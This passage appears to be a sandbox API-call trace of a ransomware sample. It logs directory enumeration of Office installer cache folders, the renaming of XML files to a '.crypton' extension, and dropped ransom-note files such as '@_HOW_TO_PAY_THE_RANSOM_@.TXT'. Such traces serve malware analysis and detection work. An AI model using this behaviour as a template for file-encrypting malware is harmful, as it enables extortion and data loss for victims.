lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.452] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.crypton"), dwFlags=0x2) returned 1 [0070.453] AreFileApisANSI () returned 1 [0070.453] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.453] AreFileApisANSI () returned 1 [0070.453] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpFilePart=0x0) returned 0x4d [0070.454] GetLastError () returned 0x2 [0070.454] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0070.454] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0070.454] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x1682d290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0070.454] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0070.454] AreFileApisANSI () returned 1 [0070.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.471] AreFileApisANSI () returned 1 [0070.471] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.471] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0070.472] AreFileApisANSI () returned 1 [0070.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.472] AreFileApisANSI () returned 1 [0070.472] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0070.472] GetLastError () returned 0x2 [0070.472] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0070.472] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0070.472] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1 [0070.472] AreFileApisANSI () returned 1 [0070.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0070.476] AreFileApisANSI () returned 1 [0070.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0070.477] AreFileApisANSI () returned 1 [0070.477] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0070.478] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa75eafc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa75eafc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0070.478] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa75eafc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa75eafc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0070.478] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa75c4e60, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa75c4e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa75eafc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.478] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa75eafc0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa75eafc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa75eafc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.478] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa75eafc0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa75eafc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa75eafc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0070.478] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0070.478] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87abdaa0, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87abdaa0, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5cd2aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0070.478] AreFileApisANSI () returned 1 [0070.478] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.482] AreFileApisANSI () returned 1 [0070.482] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.482] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.crypton"), dwFlags=0x2) returned 1 [0070.483] AreFileApisANSI () returned 1 [0070.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0070.483] AreFileApisANSI () returned 1 [0070.483] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0070.483] GetLastError () returned 0x2 [0070.483] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfe57f8e0, ftCreationTime.dwHighDateTime=0x1cbe1cb, ftLastAccessTime.dwLowDateTime=0xfe57f8e0, ftLastAccessTime.dwHighDateTime=0x1cbe1cb, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0070.483] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0070.483] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8238e540, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x8238e540, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5ddcc70, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0070.483] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7bd91af0, ftCreationTime.dwHighDateTime=0x1cb07b2, ftLastAccessTime.dwLowDateTime=0x7bd91af0, ftLastAccessTime.dwHighDateTime=0x1cb07b2, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0070.483] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2a2397e0, ftCreationTime.dwHighDateTime=0x1cbe19a, ftLastAccessTime.dwLowDateTime=0x2a2397e0, ftLastAccessTime.dwHighDateTime=0x1cbe19a, ftLastWriteTime.dwLowDateTime=0xa8bafbc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0070.483] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c1614f0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7c1614f0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xa4c400, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="PrjProrWW.msi", cAlternateFileName="PRJPRO~1.MSI")) returned 1 [0070.483] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="PrjProrWW.xml", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0070.483] AreFileApisANSI () returned 1 [0070.483] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0070.490] AreFileApisANSI () returned 1 [0070.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0070.490] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.crypton"), dwFlags=0x2) returned 1 [0070.490] AreFileApisANSI () returned 1 [0070.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0070.490] AreFileApisANSI () returned 1 [0070.490] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml", lpFilePart=0x0) returned 0x4c [0070.490] GetLastError () returned 0x2 [0070.490] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0070.491] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0070.491] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0070.491] AreFileApisANSI () returned 1 [0070.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.501] AreFileApisANSI () returned 1 [0070.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.501] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0070.501] AreFileApisANSI () returned 1 [0070.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0070.501] AreFileApisANSI () returned 1 [0070.501] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0070.501] GetLastError () returned 0x2 [0070.501] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0070.501] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0070.501] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1 [0070.501] AreFileApisANSI () returned 1 [0070.502] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0070.505] AreFileApisANSI () returned 1 [0070.505] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0070.507] AreFileApisANSI () returned 1 [0070.507] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0070.508] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa7637280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7637280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0070.508] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa7637280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7637280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0070.508] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7611120, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7611120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7611120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0070.508] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7637280, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7637280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7637280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0070.508] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7611120, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa7611120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa7637280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 